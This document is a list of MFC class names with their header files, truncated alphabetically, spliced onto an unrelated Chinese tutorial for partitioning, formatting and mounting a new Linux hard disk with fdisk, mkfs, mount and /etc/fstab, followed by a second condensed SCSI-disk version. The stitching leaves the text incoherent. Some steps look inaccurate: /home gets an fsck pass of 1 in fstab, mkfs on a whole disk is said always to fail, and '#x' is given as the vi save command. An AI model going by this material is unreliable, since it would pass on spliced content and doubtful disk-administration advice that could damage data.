COleServerDoc afxole.h
COleServerItem afxole.h
COleStreamFile afxole.h
COleTemplateServer afxdisp.h
COleUpdateDialog afxodlgs.h
COleVariant afxdisp.h
CPageSetupDialog afxdlgs.h
CPaintDC afxwin.h
CPalette afxwin.h
CPen afxwin.h
CPictureHolder afxctl.h
CPoint atltypes.h
CPrintDialog afxdlgs.h
CPrintDialogEx afxdlgs.h
CProgressCtrl afxcmn.h
CPropertyPage afxdlgs.h
CPropertySheet afxdlgs.h
CPropExchange afxctl.h
CPtrArray afxcoll.h
CPtrList afxcoll.h
CReBar afxext.h
CReBarCtrl afxcmn.h
CRecentFileList afxadv.h
CRecordset afxdb.h
CRecordView afxdb.h
CRect atltypes.h
CRectTracker afxext.h
CResourceException afxwin.h
CRgn afxwin.h
CRichEditCntrItem afxrich.h
CRichEditCtrl afxcmn.h
CRichEditDoc afxrich.h
CRichEditView afxrich.h
CScrollBar afxwin.h
CScrollView afxwin.h
CSemaphore afxmt.h
CSharedFile afxadv.h
CSingleDocTemplate afxwin.h
CSingleLock afxmt.h
CSize atltypes.h
CSliderCtrl afxcmn.h
CSocket afxsock.h
CSocketFile afxsock.h
CSpinButtonCtrl afxcmn.h
CSplitterWnd afxext.h
CStatic afxwin.h
CStatusBar afxext.h
CStatusBarCtrl afxcmn.h
CStdioFile afx.h
CStringArray afxcoll.h
CStringList afxcoll.h
CSyncObject afxmt.h
CTabCtrl afxcmn.h
CToolBar afxext.h
CToolBarCtrl afxcmn.h
CToolTipCtrl afxcmn.h
CTreeCtrl afxcmn.h
CTreeView afxcview.h
CTypedPtrArray afxtempl.h
CTypedPtrList afxtempl.h
CTypedPtrMap afxtempl.h
CUIntArray afxcoll.h
CUserException afxwin.h
CView afxwin.h
CWaitCursor afxwin.h
CWinApp afxwin.h
CWindowDC afxwin.h
CWinThread afxwin.h
CWnd afxwin.h
CWordArray afxcoll.h
在linux操作系统下挂载一个新硬盘不如windows简单,特别是在命令行下,但只要利用linux自带的分区工具fdisk,便能随心所欲为新硬盘快速分区并挂载到原来的系统。
多余的操作不多讲,下面介绍的就是以最简便的方式将一个新的硬盘合理化挂载到现有的linux操作系统中,只要记好步骤,闭上眼睛也能做好,以下以本人使用的redhat as4 u5为例,其他linux系统大同小异。
一、把新硬盘安装到电脑上并做合理跳线,启动电脑进入原来硬盘的操作系统。
这点不用多介绍了吧~~
二、使用fdisk工具格式化新硬盘
1.打开终端
2.#fdisk -l
(浏览全部硬盘信息如下,显示现在有两块硬盘,一块250G,另一块15G,15G为刚刚新装上的硬盘,现在要做的便是给新硬盘分区、格式化并挂载)
Disk /dev/hda: 250.0 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/hda1 * 1 13 104391 83 Linux
/dev/hda2 14 30401 244091610 8e Linux LVM
Disk /dev/hdd: 15.0 GB, 15020457984 bytes
16 heads, 63 sectors/track, 29104 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes
Device Boot Start End Blocks Id System
/dev/hdd1 1 389 196024+ 83 Linux
/dev/hdd2 390 29104 14472360 5 Extended
/dev/hdd5 390 29104 14472328+ 83 Linux
3.#fdisk /dev/hdd
(选中对新硬盘/dev/hdd进行操作)
The number of cylinders for this disk is set to 29104.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)
Command (m for help):
4.在这里介绍几个常用操作命令
m 列出帮助信息
n 创建一个分区
d 删除一个分区
p 列出分区表
q 不保存退出
t 改变分区类型
w 保存退出
5.Command (m for help): d
Partition number (1-6):1
(在这里我们使用d命令删除所有分区,以免看着不爽,如上面所示删除的是新硬盘的第一个分区,删除其他分区操作一样,删除分区用fdisk -l命令后看到新硬盘的如下信息,显示分区已经被全部干掉)
Disk /dev/hdd: 15.0 GB, 15020457984 bytes
16 heads, 63 sectors/track, 29104 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes
Device Boot Start End Blocks Id System
6.#fdisk /dev/hdd
Command (m for help): n (用n命令创建新分区)
Command action
e extended
p primary partition (1-4)
p (p表示新建主分区)
Partition number (1-4): 1 (选择主分区号)
First cylinder (1-29104, default 1): (设置分区起始位置,这里直接回车过)
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-29104, default 29104): +1000M
(指定分区大小,用+xxxM来表达,这里指定主分区1大小为1G,空间大小随意自由调整)
7.Command (m for help): n(创建扩展分区)
Command action
e extended
p primary partition (1-4)
e(e表示创建扩展分区)
Partition number (1-4): 2(因为1已被主分区占用,我们在这里将分区好设为2)
First cylinder (196-29104, default 196): (扩展分区起始位置,直接回车过)
Using default value 196
Last cylinder or +size or +sizeM or +sizeK (196-29104, default 29104): (指定扩展分区大小,直接回车将新硬盘剩余空间全部划分给扩展分区)
Using default value 29104
8.Command (m for help): n(创建逻辑分区)
Command action
l logical (5 or over)
p primary partition (1-4)
l(l表示创建逻辑分区)
First cylinder (196-29104, default 196): (选择起始点,直接回车)
Using default value 196
Last cylinder or +size or +sizeM or +sizeK (196-29104, default 29104): (在这里指定逻辑分区的大小,可以将扩展分区划分为无数个逻辑分区,可以按照个人意愿去划分,方法和创建主分区一样,这里直接回车,将所有剩余空间划分给逻辑分区)
9.Command (m for help): p
Disk /dev/hdd: 15.0 GB, 15020457984 bytes
16 heads, 63 sectors/track, 29104 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes
Device Boot Start End Blocks Id System
/dev/hdd1 1 195 98248+ 83 Linux
/dev/hdd2 196 29104 14570136 5 Extended
/dev/hdd5 196 29104 14570104+ 83 Linux
(用p命令查看现在的分区信息,实际上新硬盘被分为了两个区,一个主分区1G,一个逻辑分区14G,到这里我们的分区工作就完成了)
10.我们可以通过t命令更改每个分区的分区类型
Command (m for help): t(t命令表示指定分区类型)
Partition number (1-5): 1(选择要改变分区类型的分区号)
Hex code (type L to list codes): l(l列出所有可供选择的分区类型)
(如果在linux下使用,不用再进行这一步,我们可以通过p查看分区信息,分区已经被默认为linux类型)
11.Command (m for help): w(完成分区规划后不要忘记用w命令保存退出,如果觉得之前的分区工作不合理,千万不要使用w退出,使用q不保存退出便可以重新进行磁盘划分)
12.#mkfs.ext3 /dev/hdd1
(注:需要手动对每个分区进行格式化,不能一次性格式整个硬盘,例如:mkfs.ext3 /dev/sda,否则会格式化失败。)
三、挂载新硬盘
1.比如要将新硬盘的主分区1挂载到/home目录,逻辑分区5挂载到/usr/local/superman目录(自建目录),可以进行如下操作
#mount /dev/hdd1 /home(将主分区1挂载到/home目录)
#cd /usr/local
#mkdir superman
#mount /dev/hdd5 /usr/local/superman(将逻辑分区5挂载到/usr/local/superman目录)
#umount /home(如果想该变挂载目录,可用umonut卸载分区重新挂载你想挂载的目录)
2.#df -h
(查看新硬盘挂载后的信息,确保正确无误)
3.编辑fstab文件
(这点十分重要,一定要记得编辑该文件,不然重启电脑后系统将不会保存之前的挂载操作)
#vi /etc/fstab
# This file is edited by fstab-sync – see ‘man fstab-sync’ for details
/dev/VolGroup00/LogVol00 / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
none /dev/shm tmpfs defaults 0 0
none /proc proc defaults 0 0
none /sys sysfs defaults 0 0
/dev/VolGroup00/LogVol01 swap swap defaults 0 0
(如上面所示,fstab文件保存了系统挂载的记录)
我们需要在文件最后面加上两行文字规则,格式和其他文件中其他规则一样
/dev/hdd1 /home ext3 defaults 1 1
/dev/hdd5 /usr/local/superman ext3 defaults 1 1
#x
保存退出
4.至此挂载新硬盘工作全部完成。
----------------------------------------------------------
OTHER
在服务器上把硬盘接好,启动linux,以root登陆。
比如我新加一块SCSI硬盘,需要将其分成三个区:
#fdisk /dev/sdb 进入fdisk模式: Command (m for help):p //查看新硬盘的分区 Command (m for help):n //创建新分区 可以用m命令来看fdisk命令的内部命令;n命令创建一个新分区;d命令删除一个存在的分区;p命令显示分区列表;t命令修改分区的类型ID号;l命令显示分区ID号的列表;a命令指定启动分区;w命令是将对分区表的修改存盘让它发生作用。 Command action e extended //输入e为创建扩展分区 p primary partition (1-4) //输入p为创建主分区,这里我们选择p Partion number(1-4):1 //第一个扩展分区,按你需求可以最多分4个主分区 First Cylinder(1-1014,default 1): 1 //第一个主分区起始的磁盘块数 Last cylindet or +siza or +sizeM or +sizeK: +1024MB //可以是以MB为单位的数字或者以 磁盘块数,这里我们输入+1024MB表示分区大小为1G。
这样我们就创建完一个分区,如果要创建更多分区可以照上面的步骤继续创建。
创建完后用w保存分区。
Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks.
这样就分区完,我们还要进行格式化
#mkfs -t ext3 -c /dev/sdb1 //如果有多个分区,则分区修改为sdb2这样
格式化完后我们需要进行挂载分区,
#mkdir www //创建/www目录,我们将把新的分区挂到www下 #mount /dev/sdb1 /www //将/dev/sdb1挂载到/www # df //用df命令进行查看 Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda2 3771316 1388956 2190788 39% / /dev/sda1 101089 9463 86407 10% /boot none 62988 0 62988 0% /dev/shm /dev/sdb1 485906 8239 452580 2% /www //看到了,这就是我们刚 才新挂载的分区
到这里我们工作已接近尾声了,不过我们如果这样就结束的话,我们每次重新启动服务器后都要
进行手工挂载,这样很麻烦,我们需要修改/etc/fstab文件来进行自动挂载。
#vi /etc/fstab
在文件的末尾填加如下内容:
/dev/sdb1 /www ext3 defaults 1 2
如有多个分区可修改sdb1和/www,修改完后保存,重起服务器。
到此我们添加新硬盘的工作结束了